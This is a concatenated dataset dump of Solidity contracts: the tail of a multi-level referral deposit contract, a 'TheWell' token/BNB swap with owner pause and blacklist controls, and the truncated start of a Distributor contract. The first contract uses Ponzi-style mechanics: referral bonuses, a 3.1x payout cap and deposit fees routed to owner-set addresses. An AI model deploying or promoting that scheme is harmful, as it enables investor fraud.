uint256[4] public pool_bonuses = [40, 30, 20, 10]; // 1 => 1%
mapping (address => mapping(uint256 => uint256)) internal referLevelBonus;
mapping (address => uint256) internal directBonus;
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner, address payable _chain_fund, address payable _community_fund, address payable _admin_fee) public {
owner = _owner;
chain_fund = _chain_fund;
community_fund = _community_fund;
admin_fee = _admin_fee;
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount * 2, "Bad amount");
}
else require(_amount >= INVEST_MIN_AMOUNT, "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
directBonus[users[_addr].upline] += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
_pollDeposits(_addr, _amount);
if(pool_last_draw + 1 days < block.timestamp) {
_drawPool();
}
chain_fund.transfer(_amount * 1 / 20);
community_fund.transfer(_amount * 3 / 20);
admin_fee.transfer(_amount * 1 / 10);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 3 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
referLevelBonus[up][i] += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
if(users[msg.sender].match_bonus < BIGGEST_MATCH_BONUS){
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}else{
users[msg.sender].match_bonus = 0;
}
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
users[msg.sender].last_withdraw_time = uint40(block.timestamp);
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 31 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / BASE_TIME) / 100) - users[_addr].deposit_payouts;
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = (contractBalance / CONTRACT_BALANCE_STEP);
uint256 holdPercent = 0;
if(users[_addr].last_withdraw_time == 0){
uint256 dayPassed = ((block.timestamp - users[_addr].deposit_time) / BASE_TIME);
for(uint256 i = 0; i < dayPassed; i++){
holdPercent = holdPercent + i;
}
contractBalancePercent = dayPassed* contractBalancePercent;
}else{
uint256 dayPassed = ((block.timestamp - users[_addr].last_withdraw_time) / BASE_TIME);
for(uint256 i = 0; i < dayPassed; i++){
holdPercent = holdPercent + i;
}
contractBalancePercent = dayPassed * contractBalancePercent;
}
if(contractBalancePercent > 500){
contractBalancePercent = 500;
}
if(holdPercent > 50){
holdPercent = 50;
}
uint256 extraPercent = contractBalancePercent + holdPercent * 10;
payout = payout + users[_addr].deposit_amount * extraPercent / 10000;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256[3] memory user_bonus, uint256 last_withdraw_time) {
user_bonus[0] = users[_addr].direct_bonus;
user_bonus[1] = users[_addr].pool_bonus;
user_bonus[2] = users[_addr].match_bonus;
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, user_bonus, users[_addr].last_withdraw_time);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function getUserReferLevelBonus(address _addr) public view returns(uint256[15] memory refInfo) {
for(uint256 i = 0; i < 15; i++){
refInfo[i] = referLevelBonus[_addr][i];
}
}
function getDirectBonus(address _addr) public view returns(uint256 bonus) {
return directBonus[_addr];
}
}
| 287,825 | 10,537 |
768d9bcad49ac200913e1e32730cd4def4104871b3fc5a3aef6c8b241318c568
| 34,134 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8d/8D74f9A1FEABBf699288dE67a4948089Bc66f03F_TheWell.sol
| 5,875 | 21,547 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
mapping(address => bool) public blackList;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], "no whitelist");
_;
}
modifier noBlackList() {
require(!blackList[msg.sender] == true, "No Blacklist calls");
_;
}
function removeFromBlackList(address[] memory blackListAddress)
public
onlyOwner
{
for (uint256 i; i < blackListAddress.length; i++) {
blackList[blackListAddress[i]] = false;
}
}
function addToBlackList(address[] memory blackListAddress)
public
onlyOwner
{
for (uint256 i; i < blackListAddress.length; i++) {
blackList[blackListAddress[i]] = true;
}
}
function addAddressToWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs)
public
onlyOwner
returns (bool success)
{
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs)
public
onlyOwner
returns (bool success)
{
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(msg.sender,
spender,
_allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(msg.sender,
spender,
_allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from,
address to,
uint256 value) internal {
require(to != address(0), "to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "3");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner,
address spender,
uint256 value) internal {
require(spender != address(0), "4");
require(owner != address(0), "5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value)
external
view
returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract TheWell is BEP20, Whitelist {
string public constant name = "Splash Liquidity Token";
string public constant symbol = "DROPS";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping(address => bool) internal _providers;
mapping(address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer,
uint256 indexed bnb_amount,
uint256 indexed token_amount);
event onBnbPurchase(address indexed buyer,
uint256 indexed token_amount,
uint256 indexed bnb_amount);
event onAddLiquidity(address indexed provider,
uint256 indexed bnb_amount,
uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider,
uint256 indexed bnb_amount,
uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor(address token_addr) public Ownable() {
token = IToken(token_addr);
lastBalance_ = now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable noBlackList isNotPaused {
bnbToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount,
uint256 input_reserve,
uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount,
uint256 input_reserve,
uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,
"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function bnbToTokenInput(uint256 bnb_sold,
uint256 min_tokens,
address buyer,
address recipient) private returns (uint256) {
require(bnb_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(bnb_sold,
address(this).balance.sub(bnb_sold),
token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
emit onContractBalance(bnbBalance());
trackGlobalStats();
return tokens_bought;
}
function bnbToTokenSwapInput(uint256 min_tokens)
public
payable
noBlackList
isNotPaused
returns (uint256)
{
return bnbToTokenInput(msg.value, min_tokens, msg.sender, msg.sender);
}
function bnbToTokenOutput(uint256 tokens_bought,
uint256 max_bnb,
address buyer,
address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_bnb > 0,
"tokens_bought > 0 && max_bnb >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought,
address(this).balance.sub(max_bnb),
token_reserve);
// Throws if bnb_sold > max_bnb
uint256 bnb_refund = max_bnb.sub(bnb_sold);
if (bnb_refund > 0) {
payable(buyer).transfer(bnb_refund);
}
require(token.transfer(recipient, tokens_bought), "error");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
trackGlobalStats();
return bnb_sold;
}
function bnbToTokenSwapOutput(uint256 tokens_bought)
public
payable
noBlackList
isNotPaused
returns (uint256)
{
return
bnbToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenToBnbInput(uint256 tokens_sold,
uint256 min_bnb,
address buyer,
address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_bnb > 0,
"tokens_sold > 0 && min_bnb > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token
.calculateTransferTaxes(buyer, tokens_sold);
uint256 bnb_bought = getInputPrice(realized_sold,
token_reserve,
address(this).balance);
require(bnb_bought >= min_bnb, "bnb_bought >= min_bnb");
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),
"transforfrom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return bnb_bought;
}
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb)
public
noBlackList
isNotPaused
returns (uint256)
{
return tokenToBnbInput(tokens_sold, min_bnb, msg.sender, msg.sender);
}
function tokenToBnbOutput(uint256 bnb_bought,
uint256 max_tokens,
address buyer,
address recipient) private returns (uint256) {
require(bnb_bought > 0, "bnb_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(bnb_bought,
token_reserve,
address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token
.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, "max tokens exceeded");
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),
"transorfroom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens)
public
noBlackList
isNotPaused
returns (uint256)
{
return tokenToBnbOutput(bnb_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getBnbToTokenOutputPrice(1e18);
uint256 balance = bnbBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getBnbToTokenInputPrice(uint256 bnb_sold)
public
view
returns (uint256)
{
require(bnb_sold > 0, "bnb_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(bnb_sold, address(this).balance, token_reserve);
}
function getBnbToTokenOutputPrice(uint256 tokens_bought)
public
view
returns (uint256)
{
require(tokens_bought > 0, "tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought,
address(this).balance,
token_reserve);
return bnb_sold;
}
function getTokenToBnbInputPrice(uint256 tokens_sold)
public
view
returns (uint256)
{
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_bought = getInputPrice(tokens_sold,
token_reserve,
address(this).balance);
return bnb_bought;
}
function getTokenToBnbOutputPrice(uint256 bnb_bought)
public
view
returns (uint256)
{
require(bnb_bought > 0, "bnb_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(bnb_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function bnbBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getBnbToLiquidityInputPrice(uint256 bnb_sold)
public
view
returns (uint256)
{
require(bnb_sold > 0, "bnb_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 bnb_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (bnb_sold.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = bnb_sold.mul(total_liquidity) / bnb_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint256 amount)
public
view
returns (uint256, uint256)
{
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0, "total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) /
total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (bnb_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens)
public
payable
onlyOwner
returns (uint256)
{
require(max_tokens > 0 && msg.value > 0,
"Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false) {
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0, "min_liquidity > 0,,,,4");
uint256 bnb_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) /
bnb_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,
"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),
"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),
"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount,
uint256 min_bnb,
uint256 min_tokens) public onlyOwner returns (uint256, uint256) {
require(amount > 0 && min_bnb > 0 && min_tokens > 0,
"amount > 0 && min_bnb > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) /
total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(bnb_amount >= min_bnb && token_amount >= min_tokens,
"(bnb_amount >= min_bnb && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(bnb_amount);
require(token.transfer(msg.sender, token_amount), "transfer error");
emit onRemoveLiquidity(msg.sender, bnb_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (bnb_amount, token_amount);
}
}
//splash token 0x4ec58f9D205F9c919920313932cc71EC68d123C7
| 100,473 | 10,538 |
d9a06dffae9812ecb5140c632524b6d8d225f25a7c5e0598309a0dab0f11a063
| 18,020 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d2/D2e7641799aBfdc439bd00de97f1A5EBf538d75C_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
